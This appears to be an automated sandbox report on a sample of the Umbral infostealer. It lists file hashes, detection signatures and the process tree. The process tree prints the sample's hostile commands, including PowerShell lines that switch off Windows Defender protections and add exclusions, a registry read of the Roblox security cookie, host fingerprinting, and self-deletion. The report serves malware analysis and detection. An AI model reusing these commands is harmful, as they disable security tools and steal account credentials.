Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    01/12/2024, 03:07

General

  • Target

    e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe

  • Size

    229KB

  • MD5

    1e10af7811808fc24065f18535cf1220

  • SHA1

    65995bcb862aa66988e1bb0dbff75dcac9b400c7

  • SHA256

    e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed

  • SHA512

    f1c623918a3701254805e7648d671b316446a0f98637d3de62d44331cf91502afb57ccb762472491bc4ac037fbf5f7b624eb9d39092b3be0b2ed84da6f3acadc

  • SSDEEP

    6144:lloZMQfsXtioRkts/cnnK6cMldKRn/1+mpnsl3ySXCkb8e1muhi:noZItlRk83MldKRn/1+mpnsl3ySXze

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe
    "C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2988
    • C:\Windows\system32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe"
      2⤵
      • Views/modifies file attributes
      PID:2484
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1856
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2764
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2628
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1256
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2512
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
        PID:1380
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2620
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:2872
      • C:\Windows\system32\cmd.exe
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe" && pause
        2⤵
        • Deletes itself
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:2436
        • C:\Windows\system32\PING.EXE
          ping localhost
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:2448

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\783W9CP7PZX0ZP4HYBMO.temp

      Filesize

      7KB

      MD5

      a3081183a2311133bc6415c7cf792608

      SHA1

      bbc66bf91e08059f7f659ee05ac0ed7e8c45a9eb

      SHA256

      24ac04b7889fd62b2660181aa839590d4cf5cdb44b686e6407eb286dc79f2ebc

      SHA512

      a8c7fed2700482be6ce4c1af48b8088a2e204b9aa23294d06b131170c3bf70f7de6623fa6e4b52148e5407ade57f4fd4b47b69f391cc2eaf3f41d9dc7fed7964

    • memory/1856-8-0x000000001B740000-0x000000001BA22000-memory.dmp

      Filesize

      2.9MB

    • memory/1856-13-0x000007FEEDC30000-0x000007FEEE5CD000-memory.dmp

      Filesize

      9.6MB

    • memory/1856-15-0x000007FEEDC30000-0x000007FEEE5CD000-memory.dmp

      Filesize

      9.6MB

    • memory/1856-9-0x0000000002A70000-0x0000000002A78000-memory.dmp

      Filesize

      32KB

    • memory/1856-10-0x000007FEEDC30000-0x000007FEEE5CD000-memory.dmp

      Filesize

      9.6MB

    • memory/1856-11-0x000007FEEDC30000-0x000007FEEE5CD000-memory.dmp

      Filesize

      9.6MB

    • memory/1856-12-0x000007FEEDC30000-0x000007FEEE5CD000-memory.dmp

      Filesize

      9.6MB

    • memory/1856-7-0x000007FEEDEEE000-0x000007FEEDEEF000-memory.dmp

      Filesize

      4KB

    • memory/1856-14-0x000007FEEDC30000-0x000007FEEE5CD000-memory.dmp

      Filesize

      9.6MB

    • memory/2164-21-0x000000001B5A0000-0x000000001B882000-memory.dmp

      Filesize

      2.9MB

    • memory/2164-22-0x0000000001D20000-0x0000000001D28000-memory.dmp

      Filesize

      32KB

    • memory/2620-50-0x0000000002080000-0x0000000002088000-memory.dmp

      Filesize

      32KB

    • memory/2988-0-0x000007FEF57E3000-0x000007FEF57E4000-memory.dmp

      Filesize

      4KB

    • memory/2988-2-0x000007FEF57E0000-0x000007FEF61CC000-memory.dmp

      Filesize

      9.9MB

    • memory/2988-1-0x0000000001120000-0x0000000001160000-memory.dmp

      Filesize

      256KB

    • memory/2988-54-0x000007FEF57E0000-0x000007FEF61CC000-memory.dmp

      Filesize

      9.9MB